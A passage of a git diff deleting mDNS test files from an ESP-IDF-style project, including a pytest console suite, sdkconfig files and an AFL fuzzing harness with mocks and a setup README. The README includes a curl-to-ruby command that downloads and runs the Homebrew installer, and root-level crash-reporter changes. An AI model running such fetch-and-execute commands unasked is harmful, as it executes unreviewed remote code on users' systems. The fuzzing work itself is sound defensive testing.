- // init console REPL environment - ESP_ERROR_CHECK(esp_console_new_repl_uart(&uart_config, &repl_config, &repl)); - - const esp_console_cmd_t cmd_exit = { - .command = "exit", - .help = "exit mDNS console application", - .hint = NULL, - .func = exit_console, - .argtable = NULL - }; - ESP_ERROR_CHECK( esp_console_cmd_register(&cmd_exit) ); - mdns_console_register(); - ESP_ERROR_CHECK(esp_console_start_repl(repl)); - xEventGroupWaitBits(s_exit_signal, 1, pdTRUE, pdFALSE, portMAX_DELAY); - repl->del(repl); -#else - vTaskDelay(pdMS_TO_TICKS(10000)); - query_mdns_host("david-work"); - vTaskDelay(pdMS_TO_TICKS(1000)); -#endif - mdns_free(); - ESP_LOGI(TAG, "Exit"); -} diff --git a/components/mdns/tests/host_test/pytest_mdns.py b/components/mdns/tests/host_test/pytest_mdns.py deleted file mode 100644 index f8b95f55..00000000 --- a/components/mdns/tests/host_test/pytest_mdns.py +++ /dev/null @@ -1,180 +0,0 @@ -# SPDX-FileCopyrightText: 2024 Espressif Systems (Shanghai) CO LTD -# SPDX-License-Identifier: Unlicense OR CC0-1.0 -import logging - -import pexpect -import pytest -from dnsfixture import DnsPythonWrapper - -# Configure logging -logging.basicConfig(level=logging.INFO) -logger = logging.getLogger(__name__) -ipv6_enabled = False - - -class MdnsConsole: - def __init__(self, command): - self.process = pexpect.spawn(command, encoding='utf-8') - self.process.logfile = open('mdns_interaction.log', 'w') # Log all interactions - self.process.expect('mdns> ', timeout=10) - - def send_input(self, input_data): - logger.info(f'Sending to stdin: {input_data}') - self.process.sendline(input_data) - - def get_output(self, expected_data): - logger.info(f'Expecting: {expected_data}') - self.process.expect(expected_data, timeout=10) - output = self.process.before.strip() - logger.info(f'Received from stdout: {output}') - return output - - def terminate(self): - self.send_input('exit') - self.get_output('Exit') - self.process.wait() - self.process.close() - assert self.process.exitstatus == 0 - - -@pytest.fixture(scope='module') -def mdns_console(): - app = MdnsConsole('./build_linux_console/mdns_host.elf') - yield app - app.terminate() - - -@pytest.fixture(scope='module') -def dig_app(): - return DnsPythonWrapper() - - -def test_mdns_init(mdns_console, dig_app): - mdns_console.send_input('mdns_init -h hostname') - mdns_console.get_output('MDNS: Hostname: hostname') - dig_app.check_record('hostname.local', query_type='A', expected=True) - if ipv6_enabled: - dig_app.check_record('hostname.local', query_type='AAAA', expected=True) - - -def test_add_service(mdns_console, dig_app): - mdns_console.send_input('mdns_service_add _http _tcp 80 -i test_service') - mdns_console.get_output('MDNS: Service Instance: test_service') - mdns_console.send_input('mdns_service_lookup _http _tcp') - mdns_console.get_output('PTR : test_service') - dig_app.check_record('_http._tcp.local', query_type='PTR', expected=True) - - -def test_remove_service(mdns_console, dig_app): - mdns_console.send_input('mdns_service_remove _http _tcp') - mdns_console.send_input('mdns_service_lookup _http _tcp') - mdns_console.get_output('No results found!') - dig_app.check_record('_http._tcp.local', query_type='PTR', expected=False) - - -def test_delegate_host(mdns_console, dig_app): - mdns_console.send_input('mdns_delegate_host delegated 1.2.3.4') - dig_app.check_record('delegated.local', query_type='A', expected=True) - - -def test_undelegate_host(mdns_console, dig_app): - mdns_console.send_input('mdns_undelegate_host delegated') - dig_app.check_record('delegated.local', query_type='A', expected=False) - - -def test_add_delegated_service(mdns_console, dig_app): - mdns_console.send_input('mdns_delegate_host delegated 1.2.3.4') - dig_app.check_record('delegated.local', query_type='A', expected=True) - mdns_console.send_input('mdns_service_add _test _tcp 80 -i local') - mdns_console.get_output('MDNS: Service Instance: local') - mdns_console.send_input('mdns_service_add _test2 _tcp 80 -i extern -h delegated') - mdns_console.get_output('MDNS: Service Instance: extern') - mdns_console.send_input('mdns_service_lookup _test _tcp') - mdns_console.get_output('PTR : local') - mdns_console.send_input('mdns_service_lookup _test2 _tcp -d') - mdns_console.get_output('PTR : extern') - dig_app.check_record('_test2._tcp.local', query_type='PTR', expected=True) - dig_app.check_record('extern._test2._tcp.local', query_type='SRV', expected=True) - - -def test_remove_delegated_service(mdns_console, dig_app): - mdns_console.send_input('mdns_service_remove _test2 _tcp -h delegated') - mdns_console.send_input('mdns_service_lookup _test2 _tcp -d') - mdns_console.get_output('No results found!') - dig_app.check_record('_test2._tcp.local', query_type='PTR', expected=False) - # add the delegated service again, would be used in the TXT test - mdns_console.send_input('mdns_service_add _test2 _tcp 80 -i extern -h delegated') - mdns_console.get_output('MDNS: Service Instance: extern') - - -def check_txt_for_service(instance, service, proto, mdns_console, dig_app, host=None, with_inst=False): - for_host_arg = f'-h {host}' if host is not None else '' - for_inst_arg = f'-i {instance}' if with_inst else '' - mdns_console.send_input(f'mdns_service_txt_set {service} {proto} {for_host_arg} {for_inst_arg} key1 value1') - dig_app.check_record(f'{instance}.{service}.{proto}.local', query_type='SRV', expected=True) - dig_app.check_record(f'{service}.{proto}.local', query_type='TXT', expected=True, expect='key1=value1') - mdns_console.send_input(f'mdns_service_txt_set {service} {proto} {for_host_arg} {for_inst_arg} key2 value2') - dig_app.check_record(f'{service}.{proto}.local', query_type='TXT', expected=True, expect='key2=value2') - mdns_console.send_input(f'mdns_service_txt_remove {service} {proto} {for_host_arg} {for_inst_arg} key2') - dig_app.check_record(f'{service}.{proto}.local', query_type='TXT', expected=False, expect='key2=value2') - dig_app.check_record(f'{service}.{proto}.local', query_type='TXT', expected=True, expect='key1=value1') - mdns_console.send_input(f'mdns_service_txt_replace {service} {proto} {for_host_arg} {for_inst_arg} key3=value3 key4=value4') - dig_app.check_record(f'{service}.{proto}.local', query_type='TXT', expected=False, expect='key1=value1') - dig_app.check_record(f'{service}.{proto}.local', query_type='TXT', expected=True, expect='key3=value3') - dig_app.check_record(f'{service}.{proto}.local', query_type='TXT', expected=True, expect='key4=value4') - - -def test_update_txt(mdns_console, dig_app): - check_txt_for_service('local', '_test', '_tcp', mdns_console=mdns_console, dig_app=dig_app) - check_txt_for_service('local', '_test', '_tcp', mdns_console=mdns_console, dig_app=dig_app, with_inst=True) - - -def test_update_delegated_txt(mdns_console, dig_app): - check_txt_for_service('extern', '_test2', '_tcp', mdns_console=mdns_console, dig_app=dig_app, host='delegated') - check_txt_for_service('extern', '_test2', '_tcp', mdns_console=mdns_console, dig_app=dig_app, host='delegated', with_inst=True) - - -def test_service_port_set(mdns_console, dig_app): - dig_app.check_record('local._test._tcp.local', query_type='SRV', expected=True, expect='80') - mdns_console.send_input('mdns_service_port_set _test _tcp 81') - dig_app.check_record('local._test._tcp.local', query_type='SRV', expected=True, expect='81') - mdns_console.send_input('mdns_service_port_set _test2 _tcp -h delegated 82') - dig_app.check_record('extern._test2._tcp.local', query_type='SRV', expected=True, expect='82') - mdns_console.send_input('mdns_service_port_set _test2 _tcp -h delegated -i extern 83') - dig_app.check_record('extern._test2._tcp.local', query_type='SRV', expected=True, expect='83') - mdns_console.send_input('mdns_service_port_set _test2 _tcp -h delegated -i invalid_inst 84') - mdns_console.get_output('ESP_ERR_NOT_FOUND') - dig_app.check_record('extern._test2._tcp.local', query_type='SRV', expected=True, expect='83') - - -def test_service_subtype(mdns_console, dig_app): - dig_app.check_record('local._test._tcp.local', query_type='SRV', expected=True) - mdns_console.send_input('mdns_service_subtype _test _tcp _subtest -i local') - dig_app.check_record('_subtest._sub._test._tcp.local', query_type='PTR', expected=True) - mdns_console.send_input('mdns_service_subtype _test2 _tcp _subtest2 -i extern -h delegated') - dig_app.check_record('_subtest2._sub._test2._tcp.local', query_type='PTR', expected=True) - - -def test_service_set_instance(mdns_console, dig_app): - dig_app.check_record('local._test._tcp.local', query_type='SRV', expected=True) - mdns_console.send_input('mdns_service_instance_set _test _tcp local2') - dig_app.check_record('local2._test._tcp.local', query_type='SRV', expected=True) - mdns_console.send_input('mdns_service_instance_set _test2 _tcp extern2 -h delegated') - mdns_console.send_input('mdns_service_lookup _test2 _tcp -d') - mdns_console.get_output('PTR : extern2') - dig_app.check_record('extern2._test2._tcp.local', query_type='SRV', expected=True) - mdns_console.send_input('mdns_service_instance_set _test2 _tcp extern3 -h delegated -i extern') - mdns_console.get_output('ESP_ERR_NOT_FOUND') - - -def test_service_remove_all(mdns_console, dig_app): - mdns_console.send_input('mdns_service_remove_all') - mdns_console.send_input('mdns_service_lookup _test2 _tcp -d') - mdns_console.get_output('No results found!') - mdns_console.send_input('mdns_service_lookup _test _tcp') - mdns_console.get_output('No results found!') - dig_app.check_record('_test._tcp.local', query_type='PTR', expected=False) - - -if __name__ == '__main__': - pytest.main(['-s', 'test_mdns.py']) diff --git a/components/mdns/tests/host_test/sdkconfig.ci.app b/components/mdns/tests/host_test/sdkconfig.ci.app deleted file mode 100644 index 809c518a..00000000 --- a/components/mdns/tests/host_test/sdkconfig.ci.app +++ /dev/null @@ -1,4 +0,0 @@ -CONFIG_IDF_TARGET="linux" -CONFIG_TEST_HOSTNAME="myesp" -CONFIG_MDNS_ENABLE_DEBUG_PRINTS=y -CONFIG_MDNS_RESPOND_REVERSE_QUERIES=y diff --git a/components/mdns/tests/host_test/sdkconfig.ci.console b/components/mdns/tests/host_test/sdkconfig.ci.console deleted file mode 100644 index 3b6dcb67..00000000 --- a/components/mdns/tests/host_test/sdkconfig.ci.console +++ /dev/null @@ -1,4 +0,0 @@ -CONFIG_IDF_TARGET="linux" -CONFIG_ESP_EVENT_POST_FROM_ISR=n -CONFIG_MDNS_ENABLE_CONSOLE_CLI=y -CONFIG_TEST_CONSOLE=y diff --git a/components/mdns/tests/host_test/sdkconfig.ci.target b/components/mdns/tests/host_test/sdkconfig.ci.target deleted file mode 100644 index 2a43df1a..00000000 --- a/components/mdns/tests/host_test/sdkconfig.ci.target +++ /dev/null @@ -1 +0,0 @@ -CONFIG_IDF_TARGET="esp32" diff --git a/components/mdns/tests/host_test/sdkconfig.defaults b/components/mdns/tests/host_test/sdkconfig.defaults deleted file mode 100644 index 7e79ce49..00000000 --- a/components/mdns/tests/host_test/sdkconfig.defaults +++ /dev/null @@ -1,6 +0,0 @@ -CONFIG_TEST_NETIF_NAME="eth0" -CONFIG_ESP_EVENT_POST_FROM_ISR=n -CONFIG_MDNS_NETWORKING_SOCKET=y -CONFIG_MDNS_SKIP_SUPPRESSING_OWN_QUERIES=y -CONFIG_MDNS_PREDEF_NETIF_STA=n -CONFIG_MDNS_PREDEF_NETIF_AP=n diff --git a/components/mdns/tests/test_afl_fuzz_host/CMakeLists.txt b/components/mdns/tests/test_afl_fuzz_host/CMakeLists.txt deleted file mode 100644 index d6584519..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/CMakeLists.txt +++ /dev/null @@ -1,7 +0,0 @@ -# The following four lines of boilerplate have to be in your project's CMakeLists -# in this exact order for cmake to work correctly -cmake_minimum_required(VERSION 3.5) - -include($ENV{IDF_PATH}/tools/cmake/project.cmake) - -project(fuzz_test_update) diff --git a/components/mdns/tests/test_afl_fuzz_host/Makefile b/components/mdns/tests/test_afl_fuzz_host/Makefile deleted file mode 100644 index 6f45edb9..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/Makefile +++ /dev/null @@ -1,82 +0,0 @@ -TEST_NAME=test -FUZZ=afl-fuzz -COMPONENTS_DIR=$(IDF_PATH)/components -COMPILER_ICLUDE_DIR=$(shell echo `which xtensa-esp32-elf-gcc | xargs dirname | xargs dirname`/xtensa-esp32-elf) - -CFLAGS=-g -Wno-unused-value -Wno-missing-declarations -Wno-pointer-bool-conversion -Wno-macro-redefined -Wno-int-to-void-pointer-cast -DHOOK_MALLOC_FAILED -DESP_EVENT_H_ -D__ESP_LOG_H__ \ - -I. -I../.. -I../../include -I../../private_include -I ./build/config \ - -I$(COMPONENTS_DIR) \ - -I$(COMPONENTS_DIR)/driver/include \ - -I$(COMPONENTS_DIR)/esp_common/include \ - -I$(COMPONENTS_DIR)/esp_event/include \ - -I$(COMPONENTS_DIR)/esp_eth/include \ - -I$(COMPONENTS_DIR)/esp_hw_support/include \ - -I$(COMPONENTS_DIR)/esp_netif/include \ - -I$(COMPONENTS_DIR)/esp_netif/private_include \ - -I$(COMPONENTS_DIR)/esp_netif/lwip \ - -I$(COMPONENTS_DIR)/esp_rom/include \ - -I$(COMPONENTS_DIR)/esp_system/include \ - -I$(COMPONENTS_DIR)/esp_timer/include \ - -I$(COMPONENTS_DIR)/esp_wifi/include \ - -I$(COMPONENTS_DIR)/freertos/FreeRTOS-Kernel \ - -I$(COMPONENTS_DIR)/freertos/FreeRTOS-Kernel/include \ - -I$(COMPONENTS_DIR)/freertos/esp_additions/include/freertos \ - -I$(COMPONENTS_DIR)/hal/include \ - -I$(COMPONENTS_DIR)/hal/esp32/include \ - -I$(COMPONENTS_DIR)/heap/include \ - -I$(COMPONENTS_DIR)/log/include \ - -I$(COMPONENTS_DIR)/lwip/lwip/src/include \ - -I$(COMPONENTS_DIR)/linux/include \ - -I$(COMPONENTS_DIR)/lwip/port/esp32/include \ - -I$(COMPONENTS_DIR)/lwip/lwip/src/include/lwip/apps \ - -I$(COMPONENTS_DIR)/soc/include \ - -I$(COMPONENTS_DIR)/soc/esp32/include \ - -I$(COMPONENTS_DIR)/soc/src/esp32/include \ - -I$(COMPONENTS_DIR)/xtensa/include \ - -I$(COMPONENTS_DIR)/xtensa/esp32/include \ - -I$(COMPILER_ICLUDE_DIR)/include - - -MDNS_C_DEPENDENCY_INJECTION=-include mdns_di.h -ifeq ($(MDNS_NO_SERVICES),on) - CFLAGS+=-DMDNS_NO_SERVICES -endif - -ifeq ($(INSTR),off) - CC=gcc - CFLAGS+=-DINSTR_IS_OFF - TEST_NAME=test_sim -else - CC=afl-clang-fast -endif -CPP=$(CC) -LD=$(CC) -OBJECTS=esp32_mock.o mdns.o test.o esp_netif_mock.o - -OS := $(shell uname) -ifeq ($(OS),Darwin) - LDLIBS= -else - LDLIBS=-lbsd - CFLAGS+=-DUSE_BSD_STRING -endif - -all: $(TEST_NAME) - -%.o: %.c - @echo "[CC] $<" - @$(CC) $(CFLAGS) -c $< -o $@ - -mdns.o: ../../mdns.c - @echo "[CC] $<" - @$(CC) $(CFLAGS) -include mdns_mock.h $(MDNS_C_DEPENDENCY_INJECTION) -c $< -o $@ - -$(TEST_NAME): $(OBJECTS) - @echo "[LD] $@" - @$(LD) $(OBJECTS) -o $@ $(LDLIBS) - -fuzz: $(TEST_NAME) - @$(FUZZ) -i "in" -o "out" -- ./$(TEST_NAME) - -clean: - @rm -rf *.o *.SYM $(TEST_NAME) out diff --git a/components/mdns/tests/test_afl_fuzz_host/README.md b/components/mdns/tests/test_afl_fuzz_host/README.md deleted file mode 100644 index e22a8960..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/README.md +++ /dev/null @@ -1,80 +0,0 @@ -## Introduction -This test uses [american fuzzy lop](http://lcamtuf.coredump.cx/afl/) to mangle real mdns packets and look for exceptions caused by the parser. - -A few actual packets are collected and exported as bins in the `in` folder, which is then passed as input to AFL when testing. The setup procedure for the test includes all possible services and scenarios that could be used with the given input packets.The output of the parser before fuzzing can be found in [input_packets.txt](input_packets.txt) - -## Building and running the tests using AFL -To build and run the tests using AFL(afl-clang-fast) instrumentation - -```bash -cd $IDF_PATH/components/mdns/test_afl_host -make fuzz -``` - -(Please note you have to install AFL instrumentation first, check `Installing AFL` section) - -## Building the tests using GCC INSTR(off) - -To build the tests without AFL instrumentations and instead of that use GCC compiler(In this case it will only check for compilation issues and will not run AFL tests). - -```bash -cd $IDF_PATH/components/mdns/test_afl_host -make INSTR=off -``` - -Note, that this setup is useful if we want to reproduce issues reported by fuzzer tests executed in the CI, or to simulate how the packet parser treats the input packets on the host machine. - -## Installing AFL -To run the test yourself, you need to download the [latest afl archive](http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz) and extract it to a folder on your computer. - -The rest of the document will refer to that folder as ```PATH_TO_AFL```. - -### Preparation -- On Mac, you will need to install the latest Xcode and llvm support from [Homebrew](https://brew.sh) - - ```bash - /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" - brew install --with-clang --with-lld --HEAD llvm - export PATH="/usr/local/opt/llvm/bin:$PATH" - ``` - -- On Ubuntu you need the following packages: - - ```bash - sudo apt-get install make clang-4.0(or <=4.0) llvm-4.0(or <=4.0) libbsd-dev - ``` - -Please note that if specified package version can't be installed(due to system is the latest), you can download, build and install it manually. - -### Compile AFL -Compiling AFL is as easy as running make: - -```bash -cd [PATH_TO_AFL] -make -cd llvm_mode/ -make -``` - -After successful compilation, you can export the following variables to your shell (you can also add them to your profile if you want to use AFL in other projects). - -```bash -export AFL_PATH=[PATH_TO_AFL] -export PATH="$AFL_PATH:$PATH" -``` - -Please note LLVM must be <=4.0.0, otherwise afl does not compile, as there are some limitations with building AFL on MacOS/Linux with the latest LLVM. Also, Windows build on cygwin is not fully supported. - -## Additional info -Apple has a crash reporting service that could interfere with AFLs normal operation. To turn that off, run the following command: - -```bash -launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist -sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist -``` - -Ubuntu has a similar service. To turn that off, run as root: - -```bash -echo core >/proc/sys/kernel/core_pattern -``` diff --git a/components/mdns/tests/test_afl_fuzz_host/esp32_mock.c b/components/mdns/tests/test_afl_fuzz_host/esp32_mock.c deleted file mode 100644 index 14b91341..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/esp32_mock.c +++ /dev/null @@ -1,123 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2022-2024 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Unlicense OR CC0-1.0 - */ -#include -#include -#include -#include -#include -#include "esp32_mock.h" -#include "esp_log.h" - -void *g_queue; -int g_queue_send_shall_fail = 0; -int g_size = 0; - -const char *WIFI_EVENT = "wifi_event"; -const char *ETH_EVENT = "eth_event"; - -esp_err_t esp_event_handler_register(const char *event_base, - int32_t event_id, - void *event_handler, - void *event_handler_arg) -{ - return ESP_OK; -} - -esp_err_t esp_event_handler_unregister(const char *event_base, int32_t event_id, void *event_handler) -{ - return ESP_OK; -} - -esp_err_t esp_timer_delete(esp_timer_handle_t timer) -{ - return ESP_OK; -} - -esp_err_t esp_timer_stop(esp_timer_handle_t timer) -{ - return ESP_OK; -} - -esp_err_t esp_timer_start_periodic(esp_timer_handle_t timer, uint64_t period) -{ - return ESP_OK; -} - -esp_err_t esp_timer_create(const esp_timer_create_args_t *create_args, - esp_timer_handle_t *out_handle) -{ - return ESP_OK; -} - -uint32_t xTaskGetTickCount(void) -{ - static uint32_t tick = 0; - return tick++; -} - -/// Queue mock -QueueHandle_t xQueueCreate( uint32_t uxQueueLength, uint32_t uxItemSize ) -{ - g_size = uxItemSize; - g_queue = malloc((uxQueueLength) * (uxItemSize)); - return g_queue; -} - - -void vQueueDelete( QueueHandle_t xQueue ) -{ - free(xQueue); -} - -uint32_t xQueueSend(QueueHandle_t xQueue, const void *pvItemToQueue, TickType_t xTicksToWait) -{ - if (g_queue_send_shall_fail) { - return pdFALSE; - } else { - memcpy(xQueue, pvItemToQueue, g_size); - return pdPASS; - } -} - - -uint32_t xQueueReceive(QueueHandle_t xQueue, void *pvBuffer, TickType_t xTicksToWait) -{ - return pdFALSE; -} - -void GetLastItem(void *pvBuffer) -{ - memcpy(pvBuffer, g_queue, g_size); -} - -void ForceTaskDelete(void) -{ - g_queue_send_shall_fail = 1; -} - -TaskHandle_t xTaskGetCurrentTaskHandle(void) -{ - return NULL; -} - -void xTaskNotifyGive(TaskHandle_t task) -{ - return; -} - -BaseType_t xTaskNotifyWait(uint32_t bits_entry_clear, uint32_t bits_exit_clear, uint32_t *value, TickType_t wait_time) -{ - return pdTRUE; -} - -void esp_log_write(esp_log_level_t level, const char *tag, const char *format, ...) -{ -} - -uint32_t esp_log_timestamp(void) -{ - return 0; -} diff --git a/components/mdns/tests/test_afl_fuzz_host/esp32_mock.h b/components/mdns/tests/test_afl_fuzz_host/esp32_mock.h deleted file mode 100644 index e8e84ceb..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/esp32_mock.h +++ /dev/null @@ -1,136 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2015-2024 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Apache-2.0 - */ -#ifndef _ESP32_COMPAT_H_ -#define _ESP32_COMPAT_H_ - -// Skip these include files -#define ESP_MDNS_NETWORKING_H_ -#define INC_FREERTOS_H -#define QUEUE_H -#define SEMAPHORE_H -#define _ESP_TASK_H_ - -#ifdef USE_BSD_STRING -#include -#include -#endif -#include -#include -#include -#include -#include -#include -#include -#include "esp_timer.h" - -#define ESP_FAIL -1 - -#define ESP_ERR_NO_MEM 0x101 -#define ESP_ERR_INVALID_ARG 0x102 -#define ESP_ERR_INVALID_STATE 0x103 -#define ESP_ERR_INVALID_SIZE 0x104 -#define ESP_ERR_NOT_FOUND 0x105 -#define ESP_ERR_NOT_SUPPORTED 0x106 -#define ESP_ERR_TIMEOUT 0x107 -#define ESP_ERR_INVALID_RESPONSE 0x108 -#define ESP_ERR_INVALID_CRC 0x109 - -#define pdTRUE true -#define pdFALSE false -#define pdPASS ( pdTRUE ) -#define pdFAIL ( pdFALSE ) - -#define portMAX_DELAY 0xFFFFFFFF -#define portTICK_PERIOD_MS 1 -#define LWIP_HDR_PBUF_H -#define __ESP_RANDOM_H__ -#define INC_TASK_H - -#define pdMS_TO_TICKS(a) a -#define xSemaphoreTake(s,d) true -#define xTaskDelete(a) -#define vTaskDelete(a) free(a) -#define xSemaphoreGive(s) -#define xQueueCreateMutex(s) -#define _mdns_pcb_init(a,b) true -#define _mdns_pcb_deinit(a,b) true -#define xSemaphoreCreateMutex() malloc(1) -#define xSemaphoreCreateBinary() malloc(1) -#define vSemaphoreDelete(s) free(s) -#define queueQUEUE_TYPE_MUTEX ( ( uint8_t ) 1U -#define xTaskCreatePinnedToCore(a,b,c,d,e,f,g) *(f) = malloc(1) -#define vTaskDelay(m) usleep((m)*0) -#define esp_random() (rand()%UINT32_MAX) - - -#define ESP_TASK_PRIO_MAX 25 -#define ESP_TASKD_EVENT_PRIO 5 -#define _mdns_udp_pcb_write(tcpip_if, ip_protocol, ip, port, data, len) len -#define TaskHandle_t TaskHandle_t - - -typedef int32_t esp_err_t; - -typedef void *SemaphoreHandle_t; -typedef void *QueueHandle_t; -typedef void *TaskHandle_t; -typedef int BaseType_t; -typedef uint32_t TickType_t; - - -struct udp_pcb { - uint8_t dummy; -}; - -struct ip4_addr { - uint32_t addr; -}; -typedef struct ip4_addr ip4_addr_t; - -struct ip6_addr { - uint32_t addr[4]; -}; -typedef struct ip6_addr ip6_addr_t; - -typedef void *system_event_t; - -struct pbuf { - struct pbuf *next; - void *payload; - uint16_t tot_len; - uint16_t len; - uint8_t /*pbuf_type*/ type; - uint8_t flags; - uint16_t ref; -}; - -uint32_t xTaskGetTickCount(void); -typedef void (*esp_timer_cb_t)(void *arg); - -// Queue mock -QueueHandle_t xQueueCreate( uint32_t uxQueueLength, - uint32_t uxItemSize ); - -void vQueueDelete( QueueHandle_t xQueue ); - -uint32_t xQueueSend(QueueHandle_t xQueue, const void *pvItemToQueue, TickType_t xTicksToWait); - -uint32_t xQueueReceive(QueueHandle_t xQueue, void *pvBuffer, TickType_t xTicksToWait); - -void GetLastItem(void *pvBuffer); - -void ForceTaskDelete(void); - -esp_err_t esp_event_handler_register(const char *event_base, int32_t event_id, void *event_handler, void *event_handler_arg); - -esp_err_t esp_event_handler_unregister(const char *event_base, int32_t event_id, void *event_handler); - - -TaskHandle_t xTaskGetCurrentTaskHandle(void); -void xTaskNotifyGive(TaskHandle_t task); -BaseType_t xTaskNotifyWait(uint32_t bits_entry_clear, uint32_t bits_exit_clear, uint32_t *value, TickType_t wait_time ); - -#endif //_ESP32_COMPAT_H_ diff --git a/components/mdns/tests/test_afl_fuzz_host/esp_attr.h b/components/mdns/tests/test_afl_fuzz_host/esp_attr.h deleted file mode 100644 index 75b66786..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/esp_attr.h +++ /dev/null @@ -1,14 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2022 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Unlicense OR CC0-1.0 - */ -#pragma once -#define IRAM_ATTR -#define FLAG_ATTR(TYPE) -#define QUEUE_H -#define __ARCH_CC_H__ -#define __XTENSA_API_H__ -#define SSIZE_MAX INT_MAX -#define LWIP_HDR_IP6_ADDR_H -#define LWIP_HDR_IP4_ADDR_H diff --git a/components/mdns/tests/test_afl_fuzz_host/esp_netif_mock.c b/components/mdns/tests/test_afl_fuzz_host/esp_netif_mock.c deleted file mode 100644 index 80629ad6..00000000 --- a/components/mdns/tests/test_afl_fuzz_host/esp_netif_mock.c +++ /dev/null @@ -1,55 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2020-2022 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#include -#include -#include -#include -#include -#include "esp32_mock.h" - -typedef struct esp_netif_s esp_netif_t; -typedef struct esp_netif_ip_info esp_netif_ip_info_t; -typedef struct esp_netif_dhcp_status esp_netif_dhcp_status_t; - - -const char *IP_EVENT = "IP_EVENT"; - - -esp_err_t esp_netif_add_to_list(esp_netif_t *netif) -{ - return ESP_OK; -} - -esp_err_t esp_netif_remove_from_list(esp_netif_t *netif) -{ - return ESP_ERR_NOT_FOUND; -} - -esp_netif_t *esp_netif_next(esp_netif_t *netif) -{ - return NULL; -} - -esp_netif_t *esp_netif_next_unsafe(esp_netif_t *netif) -{ - return NULL; -} - -esp_netif_t *esp_netif_get_handle_from_ifkey(const char *if_key) -{ - return NULL; -} - -esp_err_t esp_netif_get_ip_info(esp_netif_t *esp_netif, esp_netif_ip_info_t *ip_info) -{ - return ESP_ERR_NOT_SUPPORTED; -} - -esp_err_t esp_netif_dhcpc_get_status(esp_netif_t *esp_netif, esp_netif_dhcp_status_t *status) -{ - return ESP_ERR_NOT_SUPPORTED; -} diff --git a/components/mdns/tests/test_afl_fuzz_host/in/file2.bin b/components/mdns/tests/test_afl_fuzz_host/in/file2.bin deleted file mode 100644 index a7ce859c..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/file2.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/minif_4a_txt.bin b/components/mdns/tests/test_afl_fuzz_host/in/minif_4a_txt.bin deleted file mode 100644 index 37f28035..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/minif_4a_txt.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/minif_aaaa.bin b/components/mdns/tests/test_afl_fuzz_host/in/minif_aaaa.bin deleted file mode 100644 index 6ddb7acc..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/minif_aaaa.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/minif_any.bin b/components/mdns/tests/test_afl_fuzz_host/in/minif_any.bin deleted file mode 100644 index 99a6d18d..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/minif_any.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/minif_disc.bin b/components/mdns/tests/test_afl_fuzz_host/in/minif_disc.bin deleted file mode 100644 index 5f3ba62e..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/minif_disc.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/minif_ptr.bin b/components/mdns/tests/test_afl_fuzz_host/in/minif_ptr.bin deleted file mode 100644 index 67da5edb..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/minif_ptr.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/minif_query.bin b/components/mdns/tests/test_afl_fuzz_host/in/minif_query.bin deleted file mode 100644 index d21c0d29..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/minif_query.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/minif_query2.bin b/components/mdns/tests/test_afl_fuzz_host/in/minif_query2.bin deleted file mode 100644 index 986118d3..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/minif_query2.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/sub_fritz_m.bin b/components/mdns/tests/test_afl_fuzz_host/in/sub_fritz_m.bin deleted file mode 100644 index 68e1d752..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/sub_fritz_m.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/telnet_ptr.bin b/components/mdns/tests/test_afl_fuzz_host/in/telnet_ptr.bin deleted file mode 100644 index 1cd8e85d..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/telnet_ptr.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-14.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-14.bin deleted file mode 100644 index b9d059d8..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-14.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-15.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-15.bin deleted file mode 100644 index 3250de54..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-15.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-16.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-16.bin deleted file mode 100644 index 19915d89..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-16.bin and /dev/null differ diff --git a/components/mdns/tests/test_afl_fuzz_host/in/test-28.bin b/components/mdns/tests/test_afl_fuzz_host/in/test-28.bin deleted file mode 100644 index 537352ae..00000000 Binary files a/components/mdns/tests/test_afl_fuzz_host/in/test-28.bin and /dev/null differ diff --git 